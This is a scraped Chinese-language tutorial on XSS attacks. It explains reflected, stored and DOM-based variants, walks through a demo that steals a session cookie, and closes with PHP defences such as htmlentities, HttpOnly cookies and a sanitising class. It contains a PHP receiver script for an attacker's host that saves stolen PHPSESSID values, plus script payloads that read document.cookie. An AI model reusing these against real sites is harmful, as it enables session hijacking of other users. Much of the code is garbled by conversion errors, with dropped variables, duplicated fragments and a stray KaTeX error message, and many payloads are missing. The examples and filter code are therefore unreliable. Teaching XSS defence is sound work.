1. 程式人生 > >XSS跨站指令碼攻擊

XSS跨站指令碼攻擊

閱讀目錄

1、簡介 2、原因解析 3、XSS攻擊分類   3.1、反射型xss攻擊   3.2、存貯型xss攻擊   3.3、DOMBasedXSS(基於dom的跨站點指令碼攻擊) 4、XSS攻擊例項分析   例1、簡單XSS攻擊   例2、盜取cookie 5、XSS漏洞修復   5.1、html實體   5.2、HTML Encode   5.3、修復漏洞方針   5.4、PHP中的相應函式   5.5、資料過濾類 回到頂部 1、簡介 跨站指令碼(cross site script)為了避免與樣式css混淆,所以簡稱為XSS。

XSS是一種經常出現在web應用中的電腦保安漏洞,也是web中最主流的攻擊方式。那麼什麼是XSS呢?

XSS是指惡意攻擊者利用網站沒有對使用者提交資料進行轉義處理或者過濾不足的缺點,進而新增一些程式碼,嵌入到web頁面中去。使別的使用者訪問都會執行相應的嵌入程式碼。

從而盜取使用者資料、利用使用者身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。

XSS攻擊的危害包括:

1、盜取各類使用者帳號,如機器登入帳號、使用者網銀帳號、各類管理員帳號

2、控制企業資料,包括讀取、篡改、新增、刪除企業敏感資料的能力

3、盜竊企業重要的具有商業價值的資料

4、非法轉賬

5、強制傳送電子郵件

6、網站掛馬

7、控制受害者機器向其它網站發起攻擊

回到頂部 2、原因解析 主要原因:過於信任客戶端提交的資料!

解決辦法:不信任任何客戶端提交的資料,只要是客戶端提交的資料就應該先進行相應的過濾處理然後方可進行下一步的操作。

進一步分析細節:

客戶端提交的資料本來就是應用所需要的,但是惡意攻擊者利用網站對客戶端提交資料的信任,在資料中插入一些符號以及javascript程式碼,那麼這些資料將會成為應用程式碼中的一部分了。那麼攻擊者就可以肆無忌憚地展開攻擊啦。

因此我們絕不可以信任任何客戶端提交的資料!!!

回到頂部 3、XSS攻擊分類 【瞭解即可,不必細究,XSS根源就是沒完全過濾客戶端提交的資料】

回到頂部   3.1、反射型xss攻擊   又稱為非永續性跨站點指令碼攻擊,它是最常見的型別的XSS。漏洞產生的原因是攻擊者注入的資料反映在響應中。一個典型的非永續性XSS包含一個帶XSS攻擊向量的連結(即每次攻擊需要使用者的點選)。

簡單例子

正常傳送訊息:

接收者將會接收資訊並顯示Hello,Word

非正常傳送訊息:

接收者接收訊息顯示的時候將會彈出警告視窗

回到頂部   3.2、存貯型xss攻擊   又稱為持久型跨站點指令碼,它一般發生在XSS攻擊向量(一般指XSS攻擊程式碼)儲存在網站資料庫,當一個頁面被使用者開啟的時候執行。每當使用者開啟瀏覽器,指令碼執行。持久的XSS相比非永續性XSS攻擊危害性更大,因為每當使用者開啟頁面,檢視內容時指令碼將自動執行。谷歌的orkut曾經就遭受到XSS。

簡單例子:

從名字就可瞭解到儲存型XSS攻擊就是將攻擊程式碼存入資料庫中,然後客戶端開啟時就執行這些攻擊程式碼。例如留言板

留言板表單中的表單域:

正常操作:

使用者是提交相應留言資訊;將資料儲存到資料庫;其他使用者訪問留言板,應用去資料並顯示。

非正常操作:

攻擊者在value填寫【或者html其他標籤(破壞樣式。。。)、一段攻擊型程式碼】;

將資料儲存到資料庫中;

其他使用者取出資料顯示的時候,將會執行這些攻擊性程式碼

回到頂部   3.3、DOMBasedXSS(基於dom的跨站點指令碼攻擊)   基於DOM的XSS有時也稱為type0XSS。當用戶能夠通過互動修改瀏覽器頁面中的DOM(DocumentObjectModel)並顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來說它也是反射型XSS。

通過修改頁面的DOM節點形成的XSS,稱之為DOMBasedXSS。

前提是易受攻擊的網站有一個HTML頁面採用不安全的方式從document.location 或document.URL 或 document.referrer獲取資料(或者任何其他攻擊者可以修改的物件)。

簡單例子:

複製程式碼 1 2

Welcome! 3 Hi 4 8 9 Welcome to our system 10 … 11 複製程式碼 這個例子是個歡迎頁面,name是擷取URL中get過來的name引數

正常操作:

非正常操作:

將產生xss條件。讓我們看看為什麼:受害者的瀏覽器接收到這個連結,傳送HTTP請求到www.vulnerable.site並且接受到上面的HTML頁。受害者的瀏覽器開始解析這個HTML為DOM,DOM包含一個物件叫document,document裡面有個URL屬性,這個屬性裡填充著當前頁面的URL。當解析器到達javascript程式碼,它會執行它並且修改你的HTML頁面。倘若程式碼中引用了document.URL,那麼,這部分字串將會在解析時嵌入到HTML中,然後立即解析,同時,javascript程式碼會找到(alert(…))並且在同一個頁面執行它,這就產生了xss的條件。

注意:

1. 惡意程式指令碼在任何時候不會嵌入到處於自然狀態下的HTML頁面(這和其他種類的xss不太一樣)。

2.這個攻擊只有在瀏覽器沒有修改URL字元時起作用。 當url不是直接在位址列輸入,Mozilla.會自動轉換在document.URL中字元<和>(轉化為%3C 和 %3E),因此在就不會受到上面示例那樣的攻擊了,在IE6下沒有轉換<和>,因此他很容易受到攻擊。

當然,直接嵌入到HTML只是攻擊的一個掛載點,有很多指令碼不需要依賴<和>漏洞,因此Mozilla通常也是無法阻止這些攻擊的。

回到頂部 4、XSS攻擊例項分析 回到頂部   例1、簡單XSS攻擊 留言類,簡單注入javascript

有個表單域:

1、假若使用者填寫資料為:)

2、提交後將會彈出一個foolish警告視窗,接著將資料存入資料庫

3、等到別的客戶端請求這個留言的時候,將資料取出顯示留言時將執行攻擊程式碼,將會顯示一個foolish警告視窗。

【將資料改成html標籤進行攻擊,則會將原本的樣式打亂。。。。。。。。】

2、test88.com中的表單,xss.html

複製程式碼 1 2 3 4

xss攻擊 5 6 7 8 9 10 留言: 11 12 13 留言記錄: 14 15 複製程式碼 3、惡意攻擊者插入相應程式碼

複製程式碼 1 複製程式碼 4、資料(攻擊程式碼)插入資料庫

5、攻擊者控制的主機中設定接收盜取的cookie

複製程式碼 1 <?php 2 header(“content-type:text/html;charset=utf8”); 3 echo “你的PHPSESSID被盜啦”; 4 echo “

”;
5 print_r($_GET);
6 echo “
”; 7 cookie=cookie=_GET[‘PHPSESSID’]; 8 file_put_contents(’./xss.txt’, $cookie); 9 ?> 複製程式碼 開始模擬測試

1、test88.com中設定生成sessionID程式碼

複製程式碼 1 <?php 2 session_start(); 3 SESSION[xss]=xssssss;4echo&quot;&lt;pre&gt;&quot;;5printr(_SESSION[&#x27;xss&#x27;]=&#x27;xssssss&#x27;; 4 echo &quot;&lt;pre&gt;&quot;; 5 print_r(_SESSION); 6 echo “”;die; 7 ?> 複製程式碼 2、客戶端訪問上面程式碼並生成自己的sessionID

3、客戶端訪問xss.html

#下面為模擬被攻擊後取出資料的xss.html程式碼(顯示資料)

複製程式碼 1 2 3 4

xss攻擊 5 6 7 8 9 留言: 10 11 12 留言記錄: 13 20 21 複製程式碼

4、客戶端不小心點選到圖片,sessionID將被盜

vi xss.txt

【當然這僅僅只是一個很簡單的攻擊,只要將資料過濾就可以避免這個攻擊了,這裡只是讓大家瞭解XSS是如何進行攻擊的。】

回到頂部 5、XSS漏洞修復 從上面XSS例項以及之前文章的介紹我們知道XSS漏洞的起因就是沒有對使用者提交的資料進行嚴格的過濾處理。因此在思考解決XSS漏洞的時候,我們應該重點把握如何才能更好的將使用者提交的資料進行安全過濾。

回到頂部   5.1、html實體 什麼是html實體?

在html中有些字元,像(<)這類的,對HTML(標準通用標記語言下的一個應用)來說是有特殊意義的,所以這些字元是不允許在文字中使用的。要在HTML中顯示(<)這個字元,我們就必須使用實體字元。

html實體的存在是導致XSS漏洞的主要原因之一。

因此我們需要將這些實體全部轉換為相應的實體編號。

顯示結果

描述

實體名稱

空格

<

小於號

<

大於號

>

&

和號

&

"

引號

"

撇號

' (IE不支援)

回到頂部   5.2、HTML Encode 使用者將資料提交上來的時候進行HTML編碼,將相應的符號轉換為實體名稱再進行下一步的處理。

在PHP中已經存在這樣子功能的函式,即是htmlentities($str)函式。

與之相反的就是html_entity_decode($str)函式,它將實體名稱轉換為相應的符號。

回到頂部   5.3、修復漏洞方針 【不相應使用者提交的資料,過濾過濾過濾!】

1、將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.

2、表單資料規定值的型別,例如:年齡應為只能為int、name只能為字母數字組合。。。。

4、對資料進行Html Encode 處理

5、過濾或移除特殊的Html標籤, 例如:

6、過濾JavaScript 事件的標籤。例如 “onclick=”, “onfocus” 等等。

【特別注意:】

在有些應用中是允許html標籤出現的,甚至是javascript程式碼出現。因此我們在過濾資料的時候需要仔細分析哪些資料是有特殊要求(例如輸出需要html程式碼、javascript程式碼拼接、或者此表單直接允許使用等等),然後區別處理!

回到頂部   5.4、PHP中的相應函式 【詳細看PHP手冊】

這裡可能不全,想了解更多的看手冊。

strip_tags($str, [允許標籤]) #從字串中去除 HTML 和 PHP 標記

htmlentities($str)函式 #轉義html實體

html_entity_decode($str)函式 #反轉義html實體

addcslashes($str, ‘字元’)函式 #給某些字元加上反斜槓

stripcslashes($str)函式 #去掉反斜槓

addslashes ($str )函式 #單引號、雙引號、反斜線與 NULL加反斜槓

stripslashes($str)函式 #去掉反斜槓

htmlspecialchars() #特殊字元轉換為HTML實體

htmlspecialchars_decode() #將特殊的 HTML 實體轉換回普通字元

回到頂部   5.5、資料過濾類 複製程式碼 1 <?php 2 class XSS 3 { 4 /** 5 * @desc 過濾資料 6 * 7 * @param $data string|array 輸入資料 8 * @param lowbool910@return11/12publicfunctioncleanxss(low bool 是否採用更為嚴格的過濾 9 * 10 * @return 返回過濾的資料 11 */ 12 public function clean_xss(data, $low = False) 13 { 14 #字串過濾 15 if (! is_array ( $data )) 16 { 17 $data = trim ( $data ); #字元兩邊的處理 18 $data = strip_tags ( $data ); #從字串中去除 HTML 和 PHP 標記 19 $data = htmlspecialchars ( KaTeX parse error: Expected 'EOF', got '#' at position 10: data ); #̲特殊字元轉換為HTML實體 2…low) 21 { 22 return $data; 23 } 24 #匹配換空格 25 $data = str_replace ( array (’"’, “\”, “’”, “/”, “…”, “…/”, “./”, “//” ), ‘’, $data ); 26 $no = ‘/%0[0-8bcef]/’; 27 $data = preg_replace ( $no, ‘’, $data ); 28 $no = ‘/%1[0-9a-f]/’; 29 $data = preg_replace ( $no, ‘’, $data ); 30 $no = ‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S’; 31 $data = preg_replace ( $no, ‘’, $data ); 32 return $data; 33 } 34 #陣列過濾 35 arr=array();36foreach(arr=array(); 36 foreach (data as $k => $v) 37 { 38 temp=temp=this->clean_xss($v); 39 arr[arr[k]=$temp; 40 } 41 return $arr; 42 } 43 44 45 } 46 #測試測試 47 session_start(); 48 $_SESSION[‘xss’]=‘xssss’; 49 $xss=new XSS(); 50 #測試字串 51 $str = “”; 52 echo $str; 53 str2=str2=xss->clean_xss($str); 54 echo $str2; 55 echo “

”; 56 #測試陣列 57 arr=array(&quot;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&quot;,&quot;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&quot;,&quot;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&quot;);58echo&quot;&lt;pre&gt;&quot;;59printr(arr=array(&quot;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&quot;,&quot;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&quot;,&quot;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&quot;); 58 echo &quot;&lt;pre&gt;&quot;; 59 print_r(arr); 60 echo “”; 61 arr2=arr2=xss->clean_xss(arr);62echo&quot;&lt;pre&gt;&quot;;63printr(arr); 62 echo &quot;&lt;pre&gt;&quot;; 63 print_r(arr2); 64 echo “”;die; 65 ?> 複製程式碼

(以上是自己的一些見解與總結,若有不足或者錯誤的地方請各位指出)

宣告:以上只代表本人在工作學習中某一時間內總結的觀點或結論。轉載時請在文章頁面明顯位置給出原文連結